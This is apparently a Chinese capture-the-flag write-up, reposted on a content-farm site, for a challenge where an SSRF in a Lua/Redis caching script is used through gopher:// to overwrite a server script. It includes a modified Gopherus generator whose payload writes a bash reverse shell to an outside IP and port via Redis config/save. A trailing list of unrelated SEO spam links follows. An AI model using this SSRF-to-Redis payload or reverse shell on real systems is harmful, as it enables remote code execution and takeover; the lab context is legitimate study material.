当前位置: 首页 > news >正文

黑客怎么攻击网站爱采购seo

黑客怎么攻击网站,爱采购seo,网站建设方案模板,在网站上做教学直播平台多少钱明天开始考试周,百无聊赖开了一把CTF,还顺带体验了下二开工具,让无聊的Z3很开心🙂 CachedVisitor这题 大概描述一下:从main.lua加载一段visit.script中被##LUA_START##(.-)##LUA_END##包裹的lua代码 main.lua loca…

明天开始考试周,百无聊赖开了一把CTF,还顺带体验了下二开工具,让无聊的Z3很开心🙂

CachedVisitor这题

大概描述一下:从main.lua加载一段visit.script中被##LUA_START##(.-)##LUA_END##包裹的lua代码

main.lua

local function read_file(filename)local file = io.open(filename, "r")if not file thenprint("Error: Could not open file " .. filename)return nilendlocal content = file:read("*a")file:close()return content
endlocal function execute_lua_code(script_content)local lua_code = script_content:match("##LUA_START##(.-)##LUA_END##")if lua_code thenlocal chunk, err = load(lua_code)if chunk thenlocal success, result = pcall(chunk)if not success thenprint("Error executing Lua code: ", result)endelseprint("Error loading Lua code: ", err)endelseprint("Error: No valid Lua code block found.")end
endlocal function main()local filename = "/scripts/visit.script"local script_content = read_file(filename)if script_content thenexecute_lua_code(script_content)end
endmain()

visit.script

##LUA_START##
local curl = require("cURL")
local redis = require("resty.redis")ngx.req.read_body()
local args = ngx.req.get_uri_args()
local url = args.urlif not url thenngx.say("URL parameter is missing!")return
endlocal red = redis:new()
red:set_timeout(1000)local ok, err = red:connect("127.0.0.1", 6379)
if not ok thenngx.say("Failed to connect to Redis: ", err)return
endlocal res, err = red:get(url)
if res and res ~= ngx.null thenngx.say(res)return
endlocal c = curl.easy {url = url,timeout = 5,connecttimeout = 5
}local response_body = {}c:setopt_writefunction(table.insert, response_body)local ok, err = pcall(c.perform, c)if not ok thenngx.say("Failed to perform request: ", err)c:close()return
endc:close()local response_str = table.concat(response_body)local ok, err = red:setex(url, 3600, response_str)
if not ok thenngx.say("Failed to save response in Redis: ", err)return
endngx.say(response_str)
##LUA_END##

题目预设的visit.script是与内网的redis通信,可以打用gopher协议打redis任意文件写,但题目没有计划任务,考虑直接覆写/scripts/visit.script

因为有##LUA_START##(.-)##LUA_END##包裹,所以不会被脏数据影响

直接用redis-over-gopher一直打不通

sec_tools/redis-over-gopher at master · firebroo/sec_tools · GitHub

Gopherus有一段类似的逻辑,它的反弹shell是通过覆盖计划任务文件来实现

于是这里通过修改gopherus的/scripts/Redis.py来生成payload

import urllibdef Redis():def get_Redis_OverWrite():target_dir = raw_input("input target dir: ") or "/scripts"ip = raw_input("input rev ip: ") or "27.25.151.98"port = raw_input("input rev port: ") or "1337"file = raw_input("input target filename: ") or "visit.script"file_len = len(file)cmd = """##LUA_START##os.execute("bash -c 'sh -i &>/dev/tcp/{}/{} 0>&1'")##LUA_END##""".format(ip, port)len_cmd = len(cmd) + 5payload = """*1\r
$8\r
flushall\r
*3\r
$3\r
set\r
$1\r
1\r
${}\r{}\r
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
${}\r
{}\r
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
${}\r
{}\r
*1\r
$4\r
save\r""".format(len_cmd, cmd, len(target_dir), target_dir, file_len, file)finalpayload = urllib.quote_plus(payload).replace("+", "%20").replace("%2F", "/").replace("%25", "%").replace("%3A", ":")print("\033[93m" + "\nYour gopher link is ready to overwrite file: \n" + "\033[0m")print("\033[04m" + "gopher://127.0.0.1:6379/_" + finalpayload + "\033[0m")print("\n" + "\033[41m" + "-----------Made-by-Z3r4y-----------" + "\033[0m")get_Redis_OverWrite()

 

直接打入

成功反弹shell 

 

http://www.ds6.com.cn/news/49895.html

相关文章:

  • svn教程图文详解 - 青岛网站建设怎么样建网站
  • 农安建设局网站日本比分预测最新分析
  • 校园网站开发的目的韶关疫情最新消息
  • 佛山微网站建设哪家专业品牌词优化
  • 如何自己做代理网站的想法网络营销的企业有哪些
  • 小程序开发代理杭州seo网站推广
  • 广州美容网站建设长沙建站seo公司
  • 台州手机网站建设seo研究中心vip教程
  • 网站竞价推广都有哪些教育培训机构排名
  • 做导购网站赚钱吗腾讯网qq网站
  • 网站css连线是怎么做的西安百度公司官网
  • 网营中国网站建设淘宝直通车推广怎么做
  • 有和wind一样做用网站seo 工具
  • 食品建设网站前的市场分析海南seo排名优化公司
  • wordpress wiki 整合广州四楚seo顾问
  • 绍兴做团购的网站西地那非能提高硬度吗
  • 云海建设工程有限公司网站英语培训机构前十名
  • 建设的比较好的网站百度学术官网登录入口
  • 太原做手机网站建设对网络营销的理解
  • 做一个在线交易网站需要多少钱seo专员是什么职位
  • 一个简单的网站怎么做的qq引流推广平台
  • 网站标题用空格 逗号影响seo怎么推广网站链接
  • 深圳一建公司seo算法
  • 杭州做网站比较好的公司网络营销推广方案论文
  • 如何规划一个外贸网站2022十大网络营销案例
  • 怎么做网站推广怀化个人网站建站教程
  • 即墨网站建设哪家好百度一下你就知道主页
  • 网站备案还是域名备案南宁百度seo排名优化
  • cms网站网络地址图片网络营销的现状
  • 微信上的网站怎么做的北京最新疫情